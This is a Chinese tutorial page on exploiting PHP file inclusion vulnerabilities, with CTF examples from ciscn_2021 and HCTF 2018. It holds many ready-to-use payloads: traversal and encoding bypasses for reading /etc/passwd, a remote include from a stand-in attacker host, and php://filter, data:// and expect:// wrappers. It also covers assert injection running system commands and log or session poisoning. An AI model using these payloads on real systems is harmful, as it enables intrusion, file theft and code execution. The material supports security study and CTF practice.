zoukankan      html  css  js  c++  java
  • 4.6 File Inclusion

    简介

    是什么

    文件包含,一个简单的例子,和 c 语言 include 一样,将一个文件包含到另一个文件。通常出现在多文件开发,模块化开发的场景下。

    文件包含,就是代码中通过某种方法包含了其它文件,可以将另一个文件的内容引入到当前文件。从而可以执行代码。

    最终的危害就是包含由我们可以控制的内容文件,从而执行代码。

    # 本地文件包含
    http://example.com/index.php?page=/etc/passwd
    
    # 远程文件包含
    http://example.com/index.php?page=http://atacker.com/mal.php
    http://example.com/index.php?page=\attacker.comsharedmal.php
    

    根据包含文件的位置,文件包含分为 LFI / RFI 本地文件包含/远程文件包含。

    实际中的限制

    虽然能包含文件,通常只能包含某个固定范围的文件。

    即使能随便包含,通常也找不到存在恶意代码的文件。

    远程包含一般是默认禁用,或者代码不支持。

    攻击
    1. 探测参数入口点。一般而言,参数名、值都比较明显,page= 或 file= 等等。这块可以根据经验进行判断。

    2. 绕过代码过滤。常见的绕过方式,见下文。

      以下字典包含了常见的绕过 payload : windows linux

    3. 利用。最终执行代码。

    代码防御绕过

    绕过原理

    某些是利用系统、编程语言、中间件的特性。例如在某些场景下:

     /etc/passwd = /etc//passwd = /etc/./passwd = /etc/passwd/ = /etc/passwd/.
    

    常见的绕过方式分为以下几种:

    • 代码过滤不严谨:

      # 非递归过滤
      http://example.com/index.php?page=....//....//....//etc/passwd
      http://example.com/index.php?page=..../..../..../etc/passwd
      http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd
      
      # 若代码是检测前缀
      http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd
      
      # 若是黑名单过滤后缀
      shellcode.php/.
      passwd/
      
      # 后缀白名单,利用截断
      http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
      
      # 路径长度截断
      http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
      
    • 编码、特殊字符:

      # 若代码在尾部添加文件后缀,可以尝试 00 截断
      http://example.com/index.php?page=../../../etc/passwd%00
      
      
      # 或许可以尝试二次 url 编码
      http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
      http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
      http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
      http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00
      
      
      http://example.com/index.php?page=....//....//etc/passwd
      http://example.com/index.php?page=..///////..////..//////etc/passwd
      http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd
      
    • 若是远程包含,并且代码中固定了文件后缀,此时可以尝试将其化为 url 参数。

      include($_GET['file'].'.png');
      # 那么可以这样传参
      ?file=shell.php?x=1
      ?file=shell.php#x=1
      

    利用

    php url-wrappers

    php 提供的协议封装流,可以将很多东西视为文件。可以扩大文件包含的利用面。关于 php 支持的 wapper 详情见 官方手册

    php 中包含函数 require, require_once, include, include_once

    php 中与之相关的参数有 allow_url_fopen allow_url_include 分别决定能否使用协议封装流,能否在包含函数处使用。

    phpinfo 中的信息

    image-20210517145203722

    image-20210517145211295

    # 用于读取敏感文件
    
    # 可以以编码的形式读取文件,防止乱码,或读取二进制文件
    php://filter/read=string.rot13/resource=index.php
    php://filter/convert.base64-encode/resource=index.php
    
    # 读取并使用zlib 压缩
    php://filter/zlib.deflate/convert.base64-encode/resource=/etc/passwd
    # 解码 readfile('php://filter/zlib.inflate/resource=test.deflated');
    
    # 用于提供 php 恶意代码,结合文件包含 getshell
    
    # data 协议直接包含 php 代码
    data://text/plain,<?php phpinfo(); ?>
    
    # 和data协议类似
    http://example.com/index.php?page=php://input
    post 提交数据 <?php phpinfo(); ?>
    
    # except 协议直接执行系统命令
    http://example.com/index.php?page=expect://id
    http://example.com/index.php?page=expect://ls
    
    # phar 可以包含php 代码,或在反序列化处使用。
    
    assert
    assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");
    
    
    
    ' and die(show_source('/etc/passwd')) or '
    ' and die(system("whoami")) or '
    
    
    assert("strpos('' and die(system("whoami")) or '', '..') === false") or die("Detected hacking attempt!");
    
    apache 、ssh log

    触发log,然后包含。不一定能有权限访问日志

    # apache	/var/log/apache2/access.log
    通过请求 url 中携带 php 代码触发
    
    # ssh	/var/log/auth.log
    通过请求触发	ssh -l "<?php phpinfo(); ?>" ip
    
    /proc/self/*
    • /proc/self/environ

      包含一些运行时的环境变量,例如 REMOTE_PORTHTTP_USER_AGENT 等等。

      可以尝试在修改数据包中 user-agent 等信息,添加恶意代码,然后包含这个文件。

      在某些高系统版本中,该文件不能被非 root 用户访问

    • /proc/self/fd/*

      包含该进程打开的文件描述符。当有上传文件、或者将session 保存到文件中,就可以用到这个。

    phpsession

    phpsession 通常存放在文件中。

    # 通常存放位置
    /var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27
    当看到响应包中有Set-Cookie 设置 PHPSESSID,则可以尝试。
    
    结合文件上传

    上传 zip,phar ,包含php 代码的图片、文本文件等等,可以与文件包含联合起来。

    ctf 中

    1. ciscn_2021 middle_source

      页面包含一个文件包含漏洞,并且成功包含 phpinfo 文件。allow_url_include 开关关闭,无效远程包含。

      尝试包含 log、 proc 目录下文件、session 都失效了。仔细看 phpinfo ,发现 session.upload_progress.enabled 开关是开启的。并且 session 保存路径是可访问到的。

      则构造出 session.upload_progress.enabled 产生场景,并包含 session 文件。

      由于这个 session 是在上传时记录上传过程,那就构造上传请求,并添加这个 session 。并且这个 session 存活时间较短,所以也需要条件竞争。

      详见 https://blog.csdn.net/m0_51078229/article/details/114440061。

    2. [HCTF 2018]WarmUp

      题目要求必须以特定文件开头,故 exp 为 /source.php?file=source.php?/../../../../ffffllllaaaagggg

      其原理是将 source.php? 视为一个文件,从而目录穿越。虽然这个目录是不存在的,但依然可以。

      在 linux PHP 7.4.15 下,这样是可以,但在 windows php 5.4.45 / 7.2.1 版本下都失败了

      # aaa
      <?php phpinfo(); ?>
      # zzz.php
      <?php set_include_path("C:/Users/EA/Documents/phpStudy/PHPTutorial/php/php-5.4.45");include "asd?/../aaa"; ?>
      
      Warning: include(): Failed opening 'asd?/../aaa' for inclusion 
      
  • 相关阅读:
    无法上网排查解决方案
    远程连接虚拟机失败解决方案
    xshell5 优化方案
    centos6.9系统优化
    阿里云slb+https 实践操作练习
    cobbler 无人值守系统安装
    分治法——大整数相乘
    杭电1006
    使用KNN对iris数据集进行分类——python
    python 当pip不能用的时候可以去找python安装包
  • 原文地址:https://www.cnblogs.com/starrys/p/14660346.html
Copyright © 2011-2022 走看看